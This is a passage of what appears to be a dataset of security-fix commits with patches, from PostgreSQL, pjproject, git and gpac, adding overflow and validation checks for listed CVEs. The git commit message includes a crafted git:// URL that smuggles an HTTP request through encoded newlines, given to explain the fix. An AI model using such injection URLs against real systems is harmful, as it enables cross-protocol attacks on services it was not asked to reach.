subscript position would be exactly\nINT_MAX. In principle we could probably allow that, but there's a lot\nof code that computes lower_bound + dimension and would need adjustment.\nIt seems doubtful that it's worth the trouble/risk to allow it.)\n\nSomewhat independently of that, array_set_element() was careless\nabout possible overflow when checking the subscript of a fixed-length\narray, creating a different route to memory stomps. Fix that too.\n\nSecurity: CVE-2021-32027", "patch": "@@ -2811,6 +2811,10 @@ ExecEvalArrayExpr(ExprState *state, ExprEvalStep *op)\n \t\t\tlbs[i] = elem_lbs[i - 1];\n \t\t}\n \n+\t\t/* check for subscript overflow */\n+\t\t(void) ArrayGetNItems(ndims, dims);\n+\t\tArrayCheckBounds(ndims, dims, lbs);\n+\n \t\tif (havenulls)\n \t\t{\n \t\t\tdataoffset = ARR_OVERHEAD_WITHNULLS(ndims, nitems);", "sections": [{"section": "@@ -2811,6 +2811,10 @@ ExecEvalArrayExpr(ExprState *state, ExprEvalStep *op)\n \t\t\tlbs[i] = elem_lbs[i - 1];\n \t\t}\n \n+\t\t/* check for subscript overflow */\n+\t\t(void) ArrayGetNItems(ndims, dims);\n+\t\tArrayCheckBounds(ndims, dims, lbs);\n+\n \t\tif (havenulls)\n \t\t{\n \t\t\tdataoffset = ARR_OVERHEAD_WITHNULLS(ndims, nitems);", "related": false}]} +{"owner": "pjsip", "repo": "pjproject", "language": "C", "file_name": "pjsip/src/pjsip/sip_transport_tls.c", "commit_id": "d5f95aa066f878b0aef6a64e60b61e8626e664cd", "commit_message": "Merge pull request from GHSA-cv8x-p47p-99wr\n\n* - Avoid SSL socket parent/listener getting destroyed during handshake by increasing parent's reference count.\n- Add missing SSL socket close when the newly accepted SSL socket is discarded in SIP TLS transport.\n\n* - Fix silly mistake: accepted active socket created without group lock in SSL socket.\n- Replace assertion with normal validation check of SSL socket instance in OpenSSL verification callback (verify_cb()) to avoid crash, e.g: if somehow race condition with SSL socket destroy happens or OpenSSL application data index somehow gets corrupted.", "patch": "@@ -1333,9 +1333,26 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n PJ_UNUSED_ARG(src_addr_len);\n \n listener = (struct tls_listener*) pj_ssl_sock_get_user_data(ssock);\n+ if (!listener) {\n+\t/* Listener already destroyed, e.g: after TCP accept but before SSL\n+\t * handshake is completed.\n+\t */\n+\tif (new_ssock && accept_status == PJ_SUCCESS) {\n+\t /* Close the SSL socket if the accept op is successful */\n+\t PJ_LOG(4,(THIS_FILE,\n+\t\t \"Incoming TLS connection from %s (sock=%d) is discarded \"\n+\t\t \"because listener is already destroyed\",\n+\t\t pj_sockaddr_print(src_addr, addr, sizeof(addr), 3),\n+\t\t new_ssock));\n+\n+\t pj_ssl_sock_close(new_ssock);\n+\t}\n+\n+\treturn PJ_FALSE;\n+ }\n \n if (accept_status != PJ_SUCCESS) {\n-\tif (listener && listener->tls_setting.on_accept_fail_cb) {\n+\tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_ssl_sock_info ssi;\n \n@@ -1358,6 +1375,8 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n PJ_ASSERT_RETURN(new_ssock, PJ_TRUE);\n \n if (!listener->is_registered) {\n+\tpj_ssl_sock_close(new_ssock);\n+\n \tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_bzero(¶m, sizeof(param));\n@@ -1409,6 +1428,8 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n \t\t\t ssl_info.grp_lock, &tls);\n \n if (status != PJ_SUCCESS) {\n+\tpj_ssl_sock_close(new_ssock);\n+\n \tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_bzero(¶m, sizeof(param));", "sections": [{"section": "@@ -1333,9 +1333,26 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n PJ_UNUSED_ARG(src_addr_len);\n \n listener = (struct tls_listener*) pj_ssl_sock_get_user_data(ssock);\n+ if (!listener) {\n+\t/* Listener already destroyed, e.g: after TCP accept but before SSL\n+\t * handshake is completed.\n+\t */\n+\tif (new_ssock && accept_status == PJ_SUCCESS) {\n+\t /* Close the SSL socket if the accept op is successful */\n+\t PJ_LOG(4,(THIS_FILE,\n+\t\t \"Incoming TLS connection from %s (sock=%d) is discarded \"\n+\t\t \"because listener is already destroyed\",\n+\t\t pj_sockaddr_print(src_addr, addr, sizeof(addr), 3),\n+\t\t new_ssock));\n+\n+\t pj_ssl_sock_close(new_ssock);\n+\t}\n+\n+\treturn PJ_FALSE;\n+ }\n \n if (accept_status != PJ_SUCCESS) {\n-\tif (listener && listener->tls_setting.on_accept_fail_cb) {\n+\tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_ssl_sock_info ssi;\n \n", "related": false}, {"section": "@@ -1358,6 +1375,8 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n PJ_ASSERT_RETURN(new_ssock, PJ_TRUE);\n \n if (!listener->is_registered) {\n+\tpj_ssl_sock_close(new_ssock);\n+\n \tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_bzero(¶m, sizeof(param));\n", "related": false}, {"section": "@@ -1409,6 +1428,8 @@ static pj_bool_t on_accept_complete2(pj_ssl_sock_t *ssock,\n \t\t\t ssl_info.grp_lock, &tls);\n \n if (status != PJ_SUCCESS) {\n+\tpj_ssl_sock_close(new_ssock);\n+\n \tif (listener->tls_setting.on_accept_fail_cb) {\n \t pjsip_tls_on_accept_fail_param param;\n \t pj_bzero(¶m, sizeof(param));", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "connect.c", "commit_id": "a02ea577174ab8ed18f847cf1693f213e0b9c473", "commit_message": "git_connect_git(): forbid newlines in host and path\n\nWhen we connect to a git:// server, we send an initial request that\nlooks something like:\n\n 002dgit-upload-pack repo.git\\0host=example.com\n\nIf the repo path contains a newline, then it's included literally, and\nwe get:\n\n 002egit-upload-pack repo\n .git\\0host=example.com\n\nThis works fine if you really do have a newline in your repository name;\nthe server side uses the pktline framing to parse the string, not\nnewlines. However, there are many _other_ protocols in the wild that do\nparse on newlines, such as HTTP. So a carefully constructed git:// URL\ncan actually turn into a valid HTTP request. For example:\n\n git://localhost:1234/%0d%0a%0d%0aGET%20/%20HTTP/1.1 %0d%0aHost:localhost%0d%0a%0d%0a\n\nbecomes:\n\n 0050git-upload-pack /\n GET / HTTP/1.1\n Host:localhost\n\n host=localhost:1234\n\non the wire. Again, this isn't a problem for a real Git server, but it\ndoes mean that feeding a malicious URL to Git (e.g., through a\nsubmodule) can cause it to make unexpected cross-protocol requests.\nSince repository names with newlines are presumably quite rare (and\nindeed, we already disallow them in git-over-http), let's just disallow\nthem over this protocol.\n\nHostnames could likewise inject a newline, but this is unlikely a\nproblem in practice; we'd try resolving the hostname with a newline in\nit, which wouldn't work. Still, it doesn't hurt to err on the side of\ncaution there, since we would not expect them to work in the first\nplace.\n\nThe ssh and local code paths are unaffected by this patch. In both cases\nwe're trying to run upload-pack via a shell, and will quote the newline\nso that it makes it intact. An attacker can point an ssh url at an\narbitrary port, of course, but unless there's an actual ssh server\nthere, we'd never get as far as sending our shell command anyway. We\n_could_ similarly restrict newlines in those protocols out of caution,\nbut there seems little benefit to doing so.\n\nThe new test here is run alongside the git-daemon tests, which cover the\nsame protocol, but it shouldn't actually contact the daemon at all. In\ntheory we could make the test more robust by setting up an actual\nrepository with a newline in it (so that our clone would succeed if our\nnew check didn't kick in). But a repo directory with newline in it is\nlikely not portable across all filesystems. Likewise, we could check\ngit-daemon's log that it was not contacted at all, but we do not\ncurrently record the log (and anyway, it would make the test racy with\nthe daemon's log write). We'll just check the client-side stderr to make\nsure we hit the expected code path.\n\nReported-by: Harold Kim \nSigned-off-by: Jeff King \nSigned-off-by: Junio C Hamano ", "patch": "@@ -1063,6 +1063,8 @@ static struct child_process *git_connect_git(int fd[2], char *hostandport,\n \t\ttarget_host = xstrdup(hostandport);\n \n \ttransport_check_allowed(\"git\");\n+\tif (strchr(target_host, '\\n') || strchr(path, '\\n'))\n+\t\tdie(_(\"newline is forbidden in git:// hosts and repo paths\"));\n \n \t/*\n \t * These underlying connection commands die() if they", "sections": [{"section": "@@ -1063,6 +1063,8 @@ static struct child_process *git_connect_git(int fd[2], char *hostandport,\n \t\ttarget_host = xstrdup(hostandport);\n \n \ttransport_check_allowed(\"git\");\n+\tif (strchr(target_host, '\\n') || strchr(path, '\\n'))\n+\t\tdie(_(\"newline is forbidden in git:// hosts and repo paths\"));\n \n \t/*\n \t * These underlying connection commands die() if they", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/box_code_base.c", "commit_id": "b515fd04f5f00f4a99df741042f1efb31ad56351", "commit_message": "fixes for talos report TALOS-2021-1297 (#1814):\n\nadds checks for size_t overflow on 32bits archs on calls to malloc()\n\nincludes fixes for:\n\nCVE-2021-21834\nCVE-2021-21835\nCVE-2021-21836\nCVE-2021-21837\nCVE-2021-21838\nCVE-2021-21839\nCVE-2021-21840\nCVE-2021-21841\nCVE-2021-21842\nCVE-2021-21843\nCVE-2021-21844\nCVE-2021-21845\nCVE-2021-21846\nCVE-2021-21847\nCVE-2021-21848\nCVE-2021-21849\nCVE-2021-21850\nCVE-2021-21851\nCVE-2021-21852", "patch": "@@ -46,7 +46,7 @@ GF_Err co64_box_read(GF_Box *s,GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4)\n \n-\tif (ptr->nb_entries > ptr->size / 8) {\n+\tif ((u64)ptr->nb_entries > ptr->size / 8 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(u64)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in co64\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n@@ -392,7 +392,7 @@ GF_Err ctts_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n \n-\tif (ptr->nb_entries > ptr->size / 8) {\n+\tif (ptr->nb_entries > ptr->size / 8 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_DttsEntry) ) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in ctts\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n@@ -3199,6 +3199,10 @@ GF_Err tfra_box_read(GF_Box *s, GF_BitStream *bs)\n \t}\n \n \tif (ptr->nb_entries) {\n+\t\tif ((u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_RandomAccessEntry)) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in traf\\n\", ptr->nb_entries));\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tp = (GF_RandomAccessEntry *) gf_malloc(sizeof(GF_RandomAccessEntry) * ptr->nb_entries);\n \t\tif (!p) return GF_OUT_OF_MEM;\n \t}\n@@ -5104,7 +5108,7 @@ GF_Err stco_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n-\tif (ptr->nb_entries > ptr->size / 4) {\n+\tif (ptr->nb_entries > ptr->size / 4 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(u32)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stco\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n@@ -5236,7 +5240,7 @@ GF_Err stsc_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n \n-\tif (ptr->nb_entries > ptr->size / 12) {\n+\tif (ptr->nb_entries > ptr->size / 12 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_StscEntry)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stsc\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n@@ -5575,6 +5579,10 @@ GF_Err stsz_box_read(GF_Box *s, GF_BitStream *bs)\n \t\t\t}\n \t\t}\n \t}\n+\tif (ptr->sampleCount && (u64)ptr->sampleCount > (u64)SIZE_MAX/sizeof(u32)) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stsz\\n\", ptr->sampleCount));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n \tif (s->type == GF_ISOM_BOX_TYPE_STSZ) {\n \t\tif (! ptr->sampleSize && ptr->sampleCount) {\n \t\t\tif (ptr->sampleCount > ptr->size / 4) {\n@@ -5779,7 +5787,7 @@ GF_Err stts_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n-\tif (ptr->size / 8 < ptr->nb_entries) {\n+\tif (ptr->size / 8 < ptr->nb_entries || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_SttsEntry)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stts\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n@@ -7384,6 +7392,10 @@ GF_Err trun_box_read(GF_Box *s, GF_BitStream *bs)\n \t\tif (ptr->sample_count * 4 > ptr->size) {\n \t\t\tISOM_DECREASE_SIZE(ptr, ptr->sample_count*4);\n \t\t}\n+\t\tif ((u64)ptr->sample_count > (u64)SIZE_MAX/sizeof(GF_TrunEntry)) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of samples %d in trun\\n\", ptr->sample_count));\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tptr->samples = gf_malloc(sizeof(GF_TrunEntry) * ptr->sample_count);\n \t\tif (!ptr->samples) return GF_OUT_OF_MEM;\n \t\tptr->sample_alloc = ptr->nb_samples = ptr->sample_count;\n@@ -8868,7 +8880,7 @@ GF_Err ssix_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4)\n \tptr->subsegment_count = gf_bs_read_u32(bs);\n \t//each subseg has at least one range_count (4 bytes), abort if not enough bytes (broken box)\n-\tif (ptr->size / 4 < ptr->subsegment_count)\n+\tif (ptr->size / 4 < ptr->subsegment_count || (u64)ptr->subsegment_count > (u64)SIZE_MAX/sizeof(GF_SubsegmentInfo))\n \t\treturn GF_ISOM_INVALID_FILE;\n \n \tptr->subsegment_alloc = ptr->subsegment_count;\n@@ -8880,7 +8892,7 @@ GF_Err ssix_box_read(GF_Box *s, GF_BitStream *bs)\n \t\tISOM_DECREASE_SIZE(ptr, 4)\n \t\tsubseg->range_count = gf_bs_read_u32(bs);\n \t\t//each range is 4 bytes, abort if not enough bytes\n-\t\tif (ptr->size / 4 < subseg->range_count)\n+\t\tif (ptr->size / 4 < subseg->range_count || (u64)subseg->range_count > (u64)SIZE_MAX/sizeof(GF_SubsegmentRangeInfo))\n \t\t\treturn GF_ISOM_INVALID_FILE;\n \t\tsubseg->ranges = (GF_SubsegmentRangeInfo*) gf_malloc(sizeof(GF_SubsegmentRangeInfo) * subseg->range_count);\n \t\tif (!subseg->ranges) return GF_OUT_OF_MEM;\n@@ -9062,6 +9074,11 @@ GF_Err pcrb_box_read(GF_Box *s,GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->subsegment_count = gf_bs_read_u32(bs);\n \n+\tif ((u64)ptr->subsegment_count > ptr->size / 8 || (u64)ptr->subsegment_count > (u64)SIZE_MAX/sizeof(u64)) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of subsegment %d in pcrb\\n\", ptr->subsegment_count));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n+\n \tptr->pcr_values = gf_malloc(sizeof(u64)*ptr->subsegment_count);\n \tif (!ptr->pcr_values) return GF_OUT_OF_MEM;\n \tfor (i=0; isubsegment_count; i++) {\n@@ -9386,7 +9403,7 @@ GF_Err sbgp_box_read(GF_Box *s, GF_BitStream *bs)\n \t}\n \tptr->entry_count = gf_bs_read_u32(bs);\n \n-\tif (ptr->size < sizeof(GF_SampleGroupEntry)*ptr->entry_count)\n+\tif (ptr->size < sizeof(GF_SampleGroupEntry)*ptr->entry_count || (u64)ptr->entry_count > (u64)SIZE_MAX/sizeof(GF_SampleGroupEntry))\n \t return GF_ISOM_INVALID_FILE;\n \n \tptr->sample_entries = gf_malloc(sizeof(GF_SampleGroupEntry)*ptr->entry_count);\n@@ -10041,7 +10058,7 @@ GF_Err saio_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tif (ptr->entry_count) {\n \t\tu32 i;\n-\t\tif (ptr->size / (ptr->version == 0 ? 4 : 8) < ptr->entry_count)\n+\t\tif (ptr->size / (ptr->version == 0 ? 4 : 8) < ptr->entry_count || (u64)ptr->entry_count > (u64)SIZE_MAX/sizeof(u64))\n \t\t\treturn GF_ISOM_INVALID_FILE;\n \t\tptr->offsets = gf_malloc(sizeof(u64)*ptr->entry_count);\n \t\tif (!ptr->offsets)\n@@ -10551,7 +10568,7 @@ GF_Err fpar_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, (ptr->version ? 4 : 2) );\n \tptr->nb_entries = gf_bs_read_int(bs, ptr->version ? 32 : 16);\n-\tif (ptr->nb_entries > ptr->size / 6)\n+\tif (ptr->nb_entries > ptr->size / 6 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(FilePartitionEntry))\n \t\treturn GF_ISOM_INVALID_FILE;\n \n \tISOM_DECREASE_SIZE(ptr, ptr->nb_entries * 6 );\n@@ -10637,6 +10654,11 @@ GF_Err fecr_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, (ptr->version ? 4 : 2) );\n \tptr->nb_entries = gf_bs_read_int(bs, ptr->version ? 32 : 16);\n \n+\tif (ptr->nb_entries > ptr->size / (ptr->version ? 8 : 6) || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(FECReservoirEntry) ) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in fecr\\n\", ptr->nb_entries));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n+\n \tISOM_DECREASE_SIZE(ptr, ptr->nb_entries * (ptr->version ? 8 : 6) );\n \tGF_SAFE_ALLOC_N(ptr->entries, ptr->nb_entries, FECReservoirEntry);\n \tif (!ptr->entries) return GF_OUT_OF_MEM;\n@@ -12251,8 +12273,10 @@ GF_Err csgp_box_read(GF_Box *s, GF_BitStream *bs)\n \tptr->pattern_count = gf_bs_read_u32(bs);\n \n \n-\tif (ptr->size / ( (pattern_size + scount_size) / 8 ) < ptr->pattern_count )\n-\t return GF_ISOM_INVALID_FILE;\n+\tif ( (ptr->size / ( (pattern_size + scount_size) / 8 ) < ptr->pattern_count) || (u64)ptr->pattern_count > (u64)SIZE_MAX/sizeof(GF_CompactSampleGroupPattern) ) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] compact sample gorup pattern_count value (%lu) invalid\\n\", ptr->pattern_count));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n \n \tptr->patterns = gf_malloc(sizeof(GF_CompactSampleGroupPattern) * ptr->pattern_count);\n \tif (!ptr->patterns) return GF_OUT_OF_MEM;\n@@ -12267,6 +12291,11 @@ GF_Err csgp_box_read(GF_Box *s, GF_BitStream *bs)\n \t\t\tISOM_DECREASE_SIZE(ptr, bits);\n \t\t\tbits=0;\n \t\t}\n+\t\tif ( (u64)ptr->patterns[i].length > (u64)SIZE_MAX/sizeof(u32) ) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] compact sample gorup pattern #%d value (%lu) invalid\\n\", i, ptr->patterns[i].length));\n+\t\t\tptr->patterns[i].sample_group_description_indices = NULL;\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tptr->patterns[i].sample_group_description_indices = gf_malloc(sizeof(u32) * ptr->patterns[i].length);\n \t\tif (!ptr->patterns[i].sample_group_description_indices) return GF_OUT_OF_MEM;\n \t}", "sections": [{"section": "@@ -46,7 +46,7 @@ GF_Err co64_box_read(GF_Box *s,GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4)\n \n-\tif (ptr->nb_entries > ptr->size / 8) {\n+\tif ((u64)ptr->nb_entries > ptr->size / 8 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(u64)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in co64\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n", "related": false}, {"section": "@@ -392,7 +392,7 @@ GF_Err ctts_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n \n-\tif (ptr->nb_entries > ptr->size / 8) {\n+\tif (ptr->nb_entries > ptr->size / 8 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_DttsEntry) ) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in ctts\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n", "related": false}, {"section": "@@ -3199,6 +3199,10 @@ GF_Err tfra_box_read(GF_Box *s, GF_BitStream *bs)\n \t}\n \n \tif (ptr->nb_entries) {\n+\t\tif ((u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_RandomAccessEntry)) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in traf\\n\", ptr->nb_entries));\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tp = (GF_RandomAccessEntry *) gf_malloc(sizeof(GF_RandomAccessEntry) * ptr->nb_entries);\n \t\tif (!p) return GF_OUT_OF_MEM;\n \t}\n", "related": false}, {"section": "@@ -5104,7 +5108,7 @@ GF_Err stco_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n-\tif (ptr->nb_entries > ptr->size / 4) {\n+\tif (ptr->nb_entries > ptr->size / 4 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(u32)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stco\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n", "related": false}, {"section": "@@ -5236,7 +5240,7 @@ GF_Err stsc_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n \n-\tif (ptr->nb_entries > ptr->size / 12) {\n+\tif (ptr->nb_entries > ptr->size / 12 || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_StscEntry)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stsc\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n", "related": false}, {"section": "@@ -5575,6 +5579,10 @@ GF_Err stsz_box_read(GF_Box *s, GF_BitStream *bs)\n \t\t\t}\n \t\t}\n \t}\n+\tif (ptr->sampleCount && (u64)ptr->sampleCount > (u64)SIZE_MAX/sizeof(u32)) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stsz\\n\", ptr->sampleCount));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n \tif (s->type == GF_ISOM_BOX_TYPE_STSZ) {\n \t\tif (! ptr->sampleSize && ptr->sampleCount) {\n \t\t\tif (ptr->sampleCount > ptr->size / 4) {\n", "related": false}, {"section": "@@ -5779,7 +5787,7 @@ GF_Err stts_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->nb_entries = gf_bs_read_u32(bs);\n-\tif (ptr->size / 8 < ptr->nb_entries) {\n+\tif (ptr->size / 8 < ptr->nb_entries || (u64)ptr->nb_entries > (u64)SIZE_MAX/sizeof(GF_SttsEntry)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of entries %d in stts\\n\", ptr->nb_entries));\n \t\treturn GF_ISOM_INVALID_FILE;\n \t}\n", "related": false}, {"section": "@@ -7384,6 +7392,10 @@ GF_Err trun_box_read(GF_Box *s, GF_BitStream *bs)\n \t\tif (ptr->sample_count * 4 > ptr->size) {\n \t\t\tISOM_DECREASE_SIZE(ptr, ptr->sample_count*4);\n \t\t}\n+\t\tif ((u64)ptr->sample_count > (u64)SIZE_MAX/sizeof(GF_TrunEntry)) {\n+\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of samples %d in trun\\n\", ptr->sample_count));\n+\t\t\treturn GF_ISOM_INVALID_FILE;\n+\t\t}\n \t\tptr->samples = gf_malloc(sizeof(GF_TrunEntry) * ptr->sample_count);\n \t\tif (!ptr->samples) return GF_OUT_OF_MEM;\n \t\tptr->sample_alloc = ptr->nb_samples = ptr->sample_count;\n", "related": false}, {"section": "@@ -8868,7 +8880,7 @@ GF_Err ssix_box_read(GF_Box *s, GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4)\n \tptr->subsegment_count = gf_bs_read_u32(bs);\n \t//each subseg has at least one range_count (4 bytes), abort if not enough bytes (broken box)\n-\tif (ptr->size / 4 < ptr->subsegment_count)\n+\tif (ptr->size / 4 < ptr->subsegment_count || (u64)ptr->subsegment_count > (u64)SIZE_MAX/sizeof(GF_SubsegmentInfo))\n \t\treturn GF_ISOM_INVALID_FILE;\n \n \tptr->subsegment_alloc = ptr->subsegment_count;\n", "related": false}, {"section": "@@ -8880,7 +8892,7 @@ GF_Err ssix_box_read(GF_Box *s, GF_BitStream *bs)\n \t\tISOM_DECREASE_SIZE(ptr, 4)\n \t\tsubseg->range_count = gf_bs_read_u32(bs);\n \t\t//each range is 4 bytes, abort if not enough bytes\n-\t\tif (ptr->size / 4 < subseg->range_count)\n+\t\tif (ptr->size / 4 < subseg->range_count || (u64)subseg->range_count > (u64)SIZE_MAX/sizeof(GF_SubsegmentRangeInfo))\n \t\t\treturn GF_ISOM_INVALID_FILE;\n \t\tsubseg->ranges = (GF_SubsegmentRangeInfo*) gf_malloc(sizeof(GF_SubsegmentRangeInfo) * subseg->range_count);\n \t\tif (!subseg->ranges) return GF_OUT_OF_MEM;\n", "related": false}, {"section": "@@ -9062,6 +9074,11 @@ GF_Err pcrb_box_read(GF_Box *s,GF_BitStream *bs)\n \tISOM_DECREASE_SIZE(ptr, 4);\n \tptr->subsegment_count = gf_bs_read_u32(bs);\n \n+\tif ((u64)ptr->subsegment_count > ptr->size / 8 || (u64)ptr->subsegment_count > (u64)SIZE_MAX/sizeof(u64)) {\n+\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Invalid number of subsegment %d in pcrb\\n\", ptr->subsegment_count));\n+\t\treturn GF_ISOM_INVALID_FILE;\n+\t}\n+\n \tptr->pcr_values = gf_malloc(sizeof(u64)*ptr->subsegment_count);\n \tif (!ptr->pcr_values) return GF_OUT_OF_MEM;\n \tfor (i=0; isubsegment_count; i++) {\n", "related": false}, {"section": "@@ -9386,7 +9403,7 @@ GF_Err sbgp_box_read(GF_Box *s, GF_BitStream *bs)\n \t}\n \tptr->entry_count = gf_bs_read_u32(bs);\n \n-\tif (ptr->size < sizeof(GF_SampleGroupEntry)*ptr->entry_count)\n+\tif (ptr->size < sizeof(GF_SampleGroupEntry)*ptr->entry_count || (u64)ptr->entry_count > (u64)SIZE_MAX/sizeof(GF_SampleGroupEntry))\n \t return GF_ISOM_INVALID_FILE;\n \n \tptr->sample_entries = gf_malloc(sizeof(GF_SampleGroupEntry)*ptr->entry_count);\n", "related": false}, {"section": "@@ -10041,7 +10058,7 @@ GF_Err saio_box_read(GF_Box *s, GF_BitStream *bs)\n \n \tif (ptr->entry_count) {\n \t\tu32 i;\n-\t\tif (ptr->size / (ptr->version == 0 ? 4 : 8) < ptr->entry_count)\n+\t\tif (ptr->size / (ptr->version == 0 ? 4 : 8) < ptr->entry_count || (u64)ptr->entry_count > (u64)SIZE_MAX/sizeof(u64))\n \t\t\treturn GF_ISOM_INVALID_FILE;\n \t\tptr->offsets = gf_malloc(sizeof(u64)*ptr->entry_count);\n \t\tif (!ptr->offsets)\n", "related": false}, {"section": "@@ -10551,7 +10568,7 @@ GF_Err fpar_box_read(GF_Box *s, GF_BitStream *bs)\n \n 